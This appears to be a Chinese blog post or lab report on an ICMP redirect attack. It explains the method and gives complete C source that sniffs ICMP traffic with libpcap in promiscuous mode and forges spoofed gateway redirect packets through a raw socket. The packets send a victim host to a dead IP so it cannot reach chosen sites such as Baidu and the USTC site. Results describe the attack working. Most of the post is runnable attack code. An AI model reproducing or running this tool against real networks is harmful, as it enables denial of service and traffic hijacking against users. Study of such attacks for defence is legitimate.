ICMP重定向攻击

一.实现思路

  1. 使用pcap的混杂模式抓取所有可以嗅探到的包,设置过滤器仅抓取ICMP请求报文和ICMP响应报文。
  2. 打印出抓取的数据包,解析数据包中的目的MAC,源MAC,源IP和目的IP,随后攻击用户,使其不能访问特定的域名(需要设置)。
  3. 使用raw socket 并设置IP_HDRINCL(使用户能够自己处理IP首部),自己制作IP首部和ICMP重定向报文的首部,发送给受攻击用户。
  4. icmp重定向报文首部字段如下:ICMP重定向攻击

二.代码实现

#include <pcap.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>  
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <string.h>
#include <time.h>

#define MAX 1024
#define FRAME_HEADER 14

const unsigned char *target = "192.168.31.154"; 	//攻击目标IP
const unsigned char *Ori_Gw_IP = "192.168.31.1";	//原网关ip
const unsigned char *Redic_IP = "192.168.85.129";	//重定向IP,一个“死”IP
const unsigned char *baidu = "36.152.44.96";		//指定需要攻击的目标域名为百度
const unsigned char *ustc = "202.38.64.246";		//指定需要攻击的目标域名为ustc官网


/*计算校验和*/  
u_int16_t checksum(u_int8_t *buf,int len)  
{  
    u_int32_t sum=0;  
    u_int16_t *cbuf;  
  
    cbuf=(u_int16_t *)buf;  
  
    while(len>1)
    {  
        sum+=*cbuf++;  
        len-=2;  
    }  
  
    if(len)  
        sum+=*(u_int8_t *)cbuf;  
  
        sum=(sum>>16)+(sum & 0xffff);  
        sum+=(sum>>16);  
  
        return ~sum;  
}  

// data是抓取的报文数据
void icmp_redirect(int sockfd,const unsigned char *data){
	char buf[MAX],*p;
    	struct ip_header *ip;
    	struct icmp_header *icmp;
    	int len,i;
    	//struct sockaddr_in dest; 
    	struct packet{
		struct iphdr ip;
		struct icmphdr icmp;
		char orgin_iph[28];
    	}packet;
    	
    	printf("待攻击的目标地址IP为:%s\n", target);
    	printf("目标地址的原网关IP为:%s\n", Ori_Gw_IP);
    	printf("重定向IP为:%s\n\n\n", Redic_IP);

    	// 手动设置IP首部
    	packet.ip.version = 4;	//版本
    	packet.ip.ihl = 5;	// 首部长度
    	packet.ip.tos = 0;	// 服务类型000--Routine(普通)
    	packet.ip.tot_len = htons(56); 	//设置总长度为56B
    	packet.ip.id = getpid(); 	// 标识字段
    	packet.ip.frag_off = 0;	// 高3位为DF/MF/0 低13位为片偏移
    	packet.ip.ttl = 64;	// 生存时间为64跳	
    	packet.ip.protocol = IPPROTO_ICMP;	// 协议设置为ICMP(值为1)
    	packet.ip.check = 0;	//校验和初始为0		
    	packet.ip.saddr = inet_addr(Ori_Gw_IP);	// 原网关IP 
    	// memcpy(Ori_Gw_IP, data+26, 4);
    	packet.ip.daddr = inet_addr(target);	// 受攻击者的IP
    	// memcpy(Vic_IP, data+30, 4);
    	
    	
    	packet.icmp.type = 5;	// ICMP重定向报文
    	packet.icmp.code = 1;	// code含义为:Redirect for host需要主机重定向
    	packet.icmp.checksum = 0;
    	packet.icmp.un.gateway = inet_addr(Redic_IP);
    	
    	struct sockaddr_in dest =  {
        .sin_family = AF_INET,	// 定IP地址地址版本为IPV4
        .sin_addr = {
            .s_addr = inet_addr(target)	// 设置地址为受攻击者的IP
        }
   	};
   	
   	memcpy(packet.orgin_iph, data+14, 28);	// 复制原来报文的IP首部+数据部分的前8B
   	packet.ip.check = checksum(&packet.ip, sizeof(packet.ip)); 	// 对IP首部求校验和
   	packet.icmp.checksum = checksum(&packet.icmp, sizeof(packet.icmp)+28);
   	   	
   	sendto(sockfd, &packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest));
   	
}
 

void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr,  const u_char *packet){
	// printf("这是从网络抓取的包!\n");
	int * id = (int *)arg;
  
	printf("id: %d\n", ++(*id));
	printf("Packet length: %d\n", pkthdr->len);
	printf("Number of bytes: %d\n", pkthdr->caplen);
	printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
	  
	int i;
	printf("00-15");
	for(i=0; i < pkthdr->len; ++i){
	  printf(" %02x", packet[i]);	// packet中含有抓取的报文数据
	  if( (i + 1) % 16 == 0 ){
	    printf("\n");
	    printf("%d-%d:", i+1, i+16);
	  }
	}
	
	/*char dst_mac[7];
	char src_mac[7];
	char src_ip[5];
	char dst_ip[5];
	memcpy(dst_mac, packet, 6);
	memcpy(src_mac, packet+6, 6);
	memcpy(src_ip, packet+14, 4);
	memcpy(dst_ip, packet+18, 4);
	dst_mac[6] = '\0';
	src_mac[6] = '\0';
	src_ip[4] = '\0';
	dst_ip[4] = '\0';*/
	
	// 对抓去的数据包进行解析
	printf("\n目的MAC:%x:%x:%x:%x:%x:%x\n", packet[0], packet[1], packet[2], packet[3], packet[4], packet[5]);
	printf("源MAC:%x:%x:%x:%x:%x:%x\n", packet[6], packet[7], packet[8], packet[9], packet[10], packet[11]);
	printf("源IP:%d.%d.%d.%d\n", packet[26], packet[27], packet[28], packet[29]);
	printf("目的IP:%d.%d.%d.%d\n", packet[30], packet[31], packet[32], packet[33]);
	

	printf("\n");
	
	int sockfd,sockset;
	//AF_INET:IPv4网络通信;SOCK_RAW:原始套接字;IPPROTO_ICMP:ICMP传输协议
	sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);	
	if(sockfd < 0){
		printf("创建套接字失败!");
		return -1;
	}
	
	int nRecvBuf=32*1024;  // 接收缓冲
	// IPPROTO_IP:IP选项;IP_HDRINCL:设置需要手动设置IP数据包和首部
	sockset = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char*)&nRecvBuf, sizeof(int));
	if(sockset == -1 ){
		printf("设置套接字失败!");
		return -1;
	}
	
	// 可以修改如下用户目的IP,筛选出使目标用户不再能访问该用户目的IP
	if( packet[26] == 202 && packet[27] == 38 && packet[28] == 64 && packet[29] == 246){
		printf("开始IP重定向!\n");
		icmp_redirect(sockfd, packet);	
	}
	
	
}


int main(int argc, char *argv[]){

	pcap_t *handle;			/* Session handle */
	char *dev;			/* The device to sniff on */		        
	char errbuf[PCAP_ERRBUF_SIZE];	/* Error string */
	struct bpf_program fp;		/* The compiled filter */
	char filter_exp[] = "icmp[icmptype] == icmp-echoreply or icmp[icmptype] == icmp-echo";	/* The filter expression */	// 只接收icmp的ping请求和ping响应的数据包
	bpf_u_int32 mask;		/* Our netmask */
	bpf_u_int32 net;		/* Our IP */
	struct pcap_pkthdr header;	/* The header that pcap gives us */
	const u_char *packet;		/* The actual packet */

	/* Define the device */
	dev = pcap_lookupdev(errbuf);
	if (dev == NULL) {
		fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
		return(2);
	}
	
	/* Find the properties for the device */
	if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {	// 返回对应设备的IPV4地址和相应的网络掩码
		fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);
		net = 0;
		mask = 0;
	}
	
	/* Open the session in promiscuous mode */
	handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); 	//handle是会话句柄
	if (handle == NULL) {
		fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
		return(2);
	}
	
	/* Compile and apply the filter */
	if (pcap_compile(handle, &fp, filter_exp, 1, net) == -1) {
		fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
		return(2);
	}
		
	if (pcap_setfilter(handle, &fp) == -1) {
		fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
		return(2);
	}
		
	/* Grab a packet */
	// packet = pcap_next(handle, &header);
	 /* Print its length */
	// printf("Jacked a packet with length of [%d]\n", header.len);
	
	printf("开始抓取网络ICMP包!\n");
	int id = 0;
	if (pcap_loop(handle, -1, getPacket, (u_char*)&id) == -1){
		fprintf(stderr, "Couldn't start pcap_loop %s: %s\n", filter_exp, pcap_geterr(handle));
		return(2);
	}
	 
	/* And close the session */
	pcap_close(handle);
	return(0);
}

三.实验结果

1. 对用户进行攻击,使用户无法访问百度
最开始百度是可以正常ping通的
ICMP重定向攻击设置要使目标用户无法访问的IP为36.152.44.96
ICMP重定向攻击
运行重定向攻击程序,并且再次ping百度
抓取的包如下:
ICMP重定向攻击

ICMP重定向攻击百度仍能够ping通,但是ip换成了36.152.44.95,证明攻击发挥了作用

2. 对用户进行攻击,使用户无法访问ustc
可知ustc的IP为202.141.176.6
ICMP重定向攻击同样设置攻击IP
ICMP重定向攻击此时,ping "www.ustc.edu.cn"时,能够发现收到了重定向报文
ICMP重定向攻击并且在攻击程序中显示出开始进行的重定向攻击
ICMP重定向攻击

上一篇:maven打jar包时出现的错误


下一篇:Java多线程实现聊天-UDP